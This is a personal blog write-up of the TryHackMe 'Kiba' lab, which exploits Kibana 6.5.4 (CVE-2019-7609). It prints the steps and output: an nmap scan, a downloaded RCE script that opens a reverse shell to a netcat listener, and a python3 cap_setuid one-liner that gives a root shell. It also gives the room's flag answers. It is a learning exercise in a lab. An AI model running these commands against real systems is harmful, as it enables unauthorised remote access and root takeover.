TryHackMe | Kiba

After going through the TryHackMe exercises for the AdventOfCyber2 Christmas challenge, I decided I wanted to branch out and try and put what I had learned so far into practice.

I came across a room where the goal was to hack into a server hosting an older version of Kibana which has a known exploit. The room was rated as "easy", so I figured this was a good place to put my newly acquired skills to the test.

Challenges

I installed Kali-Linux on WSL2 by following a guide I found online and then connected via OpenVPN to the TryHackMe network. Once connected to the network, I started up the vulnerable VM associated with this room. The VMs are available for an hour, which proved to be plenty of time to complete the challenge.

All in all, I think it took me about 40 minutes to complete all the challenges and answer all the questions.

The answer to the first question was just a google search away. Searching for the question text resulted in the following.

So the first answer was: Prototype pollution

The next step was to try loading the URL in the browser and see what came up. When loading the IP address of my vulnerable VM, the following website appeared. I figured the line about "Linux capabilities" might be a clue to one of the later questions, but there wasn't really much else going on here worth noting.

After that, it was time to run a port scan on the server and find out what ports are open.  I already suspect there's an instance of Kibana running on this server, so it's just a case of finding out which port it's running on.

Port Scanning

┌──(gareth㉿SRF239-L)-[/usr/lib/win-kex/pulse]
└─$ nmap -p- 10.10.223.211
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-16 19:53 CET
Nmap scan report for 10.10.223.211
Host is up (0.040s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5044/tcp open  lxi-evntsvc
5601/tcp open  esmagent

The scan reveals that the kibana instance is running on the default port of 5601. Visiting this in the browser confirms it, and I was able to find the answer to the second question by navigating to the Management page.

So the second answer was: 6.5.4

OK, so now I know which version of Kibana is running and that it is likely a version with a vulnerability. The first thing I tried was visiting exploit-db.com and entering Kibana, but the CVE I found was not the correct one for this question, so I did a google search instead for "Kibana 6.5.4 exploit", which returned a page about an exploit for Kibana including the CVE number.

So the third answer was: CVE-2019-7609

Exploiting the Vulnerability

Following the GitHub link inside the aforementioned website lead me to the file I needed.

The documentation for this repository showed me exactly what I needed to do next.

# python2 CVE-2019-7609-kibana-rce.py -h

usage: CVE-2019-7609-kibana-rce.py [-h] [-u URL] [-host REMOTE_HOST]
                                   [-port REMOTE_PORT] [--shell]

optional arguments:
  -h, --help         show this help message and exit
  -u URL             such as: http://127.0.0.1:5601
  -host REMOTE_HOST  reverse shell remote host: such as: 1.1.1.1
  -port REMOTE_PORT  reverse shell remote port: such as: 8888
  --shell            reverse shell after verify

Seeing the options for REMOTE_HOST and REMOTE_PORT  I knew that the time had come to setup a listener on my machine, to catch the reverse shell that this script was going to create for me.  I used netcat to listen on a port of my choosing.  In this case, I chose 4444.

┌──(gareth㉿SRF239-L)-[/usr/lib/win-kex/pulse]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

In another tab, I downloaded the script and then ran it, passing in the address of the vulnerable kibana instance, the IP address of my machine and the port I had chosen from earlier 4444.

──(gareth㉿SRF239-L)-[/usr/lib/win-kex/pulse]
└─$ wget https://raw.githubusercontent.com/LandGrey/CVE-2019-7609/master/CVE-2019-7609-kibana-rce.py

┌──(gareth㉿SRF239-L)-[/usr/lib/win-kex/pulse]
└─$ python CVE-2019-7609-kibana-rce.py -u http://10.10.223.211:5601 -host 10.8.145.210 -port 4444 --shell
[+] http://10.10.223.211:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 10.8.145.210:4444

Now in my original tab where I started the listener, I can see that I now have a shell on the remote server!!. Perfect. Now it's just a question of finding the file user.txt and reading the contents.

connect to [10.8.145.210] from (UNKNOWN) [10.10.223.211] 34440
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kiba@ubuntu:/home/kiba/kibana/bin$ cd ~
cd ~
kiba@ubuntu:/home/kiba$ ls
ls
elasticsearch-6.5.4.deb
kibana
user.txt
kiba@ubuntu:/home/kiba$ cat user.txt
cat user.txt
THM{1s_easy_pwn3d_k1bana_w1th_rce}
kiba@ubuntu:/home/kiba$ 

I found the contents of the file user.txt and thus the answer for question four: THM{1s_easy_pwn3d_k1bana_w1th_rce}

Privilege Escalation

The final part of this challenge is to "break out" from our kiba user shell and try and gain a root shell, so I have complete control of the server.

Earlier on I saw the message on the website that said "linux capabilities" is interesting, so it was time to do some googling around that. The challenge wanted me to figure out how to find all the files which had additional privileges set on them.

For that, I was able to run the following command on the remote server, which I found in this hacking article.  This also happens to be the answer to the next question.

getcap -r / 2>/dev/null

This command lists the capabilities set on files, searching recursively from the root directory, filtering out any error messages.

kiba@ubuntu:/home/kiba$ getcap -r / 2>/dev/null
/home/kiba/.hackmeplease/python3 = cap_setuid+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep

Interesting. Next I had a look at some of the capabilities and found out what they meant. The fact that there's a python3 binary in a folder called '.hackmeplease' suggests that this is likely to be the one I go on to exploit, but I figured I might as well learn about the others too. Thankfully this information was also available in the aforementioned hacker article.

So from the table above it definitely sounded like CAP_SETUID was the one I want to pursue. That capability grants this python3 binary permission to set the effective user of any target process. Knowing this, I can execute a little python command using the python3 binary in /home/kiba/.hackmeplease/python3 to set the userid of the current bash process to zero, thus giving me effective root access.

The command for doing this and the result is as follows:

kiba@ubuntu:/home/kiba/kibana/bin$ /home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<please/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'         
whoami
root
cd /root
ls
root.txt
ufw
cat root.txt

The whoami command shows that it has worked and I am now running as the root user.  This allowed me to find and navigate to the root.txt file and display its contents, and the answer to the final challenge.

The final answer was: THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}

I really enjoyed this as my first practical room outside of the AdventOfCyber2 challenge.  I like that there wasn't any hints and that you just had to try things to see what worked. I think for me this was the perfect room to try, and I'm looking forward to finding similar challenges like this in future.

If you want to learn the skills needed to complete rooms like this, I highly recommend signing up and taking part in the TryHackMe AdventOfCyber2 challenges.